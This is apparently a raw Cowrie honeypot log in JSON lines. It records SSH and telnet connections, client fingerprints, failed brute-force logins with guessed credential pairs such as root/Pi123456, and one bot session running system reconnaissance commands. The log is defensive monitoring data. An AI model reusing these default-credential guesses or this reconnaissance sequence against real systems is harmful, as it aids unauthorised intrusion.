{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:06.597927Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:06.600561Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:06.604254Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:06.838052Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:07.020093Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:07.023661Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:07.256616Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:07.427782Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:07.430959Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":50568,"dst_ip":"159.203.135.109","dst_port":22,"session":"e50e52f1be33","protocol":"ssh","message":"New connection: 170.106.151.211:50568 (159.203.135.109:22) [session: e50e52f1be33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:07.635841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:07.640735Z","src_ip":"170.106.151.211","session":"e50e52f1be33","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:07.665518Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:07.708240Z","src_ip":"170.106.151.211","session":"e50e52f1be33","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:07.849491Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:07.852318Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:08.085266Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pi123456","message":"login attempt [root/Pi123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:08.095802Z","src_ip":"170.106.151.211","session":"e50e52f1be33","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:08.256799Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:08.260268Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58352,"dst_ip":"159.203.135.109","dst_port":22,"session":"384045df0bc8","protocol":"ssh","message":"New connection: 45.156.87.204:58352 (159.203.135.109:22) [session: 384045df0bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:08.269619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:08.423679Z","src_ip":"45.156.87.204","session":"384045df0bc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:08.427688Z","src_ip":"45.156.87.204","session":"384045df0bc8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:08.494960Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:08.664800Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:08.668221Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38916,"dst_ip":"10.17.0.5","dst_port":23,"session":"febac474ad6f","protocol":"telnet","message":"New connection: 152.42.224.71:38916 (10.17.0.5:23) [session: febac474ad6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:08.676245Z"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:08.861704Z","src_ip":"45.156.87.204","session":"384045df0bc8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:08.900776Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:09.053823Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:09.056641Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:09.165984Z","src_ip":"170.106.151.211","session":"e50e52f1be33","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:09.288602Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:09.456370Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:09.458918Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:09.690368Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:09.857209Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:09.860629Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:09.947132Z","src_ip":"45.156.87.204","session":"384045df0bc8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:10.093524Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:10.264697Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:10.268134Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:10.501643Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:10.658077Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:10.660595Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:10.782673Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:10.787617Z","src_ip":"45.183.70.66","session":"1078dd213811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":52548,"dst_ip":"159.203.135.109","dst_port":22,"session":"df6fdf3b4dfa","protocol":"ssh","message":"New connection: 47.237.167.49:52548 (159.203.135.109:22) [session: df6fdf3b4dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:10.897302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:11.503445Z","src_ip":"47.237.167.49","session":"df6fdf3b4dfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:11.731175Z","src_ip":"47.237.167.49","session":"df6fdf3b4dfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58360,"dst_ip":"159.203.135.109","dst_port":22,"session":"92044ce12d8e","protocol":"ssh","message":"New connection: 45.156.87.204:58360 (159.203.135.109:22) [session: 92044ce12d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:11.857345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:11.896904Z","src_ip":"45.156.87.204","session":"92044ce12d8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:11.942032Z","src_ip":"45.156.87.204","session":"92044ce12d8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:12.260327Z","src_ip":"45.156.87.204","session":"92044ce12d8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:12.428316Z","src_ip":"47.237.167.49","session":"df6fdf3b4dfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":48842,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b59f69c1aa4","protocol":"ssh","message":"New connection: 80.66.85.226:48842 (159.203.135.109:22) [session: 9b59f69c1aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:12.481245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:12.485738Z","src_ip":"80.66.85.226","session":"9b59f69c1aa4","protocol":"ssh"}
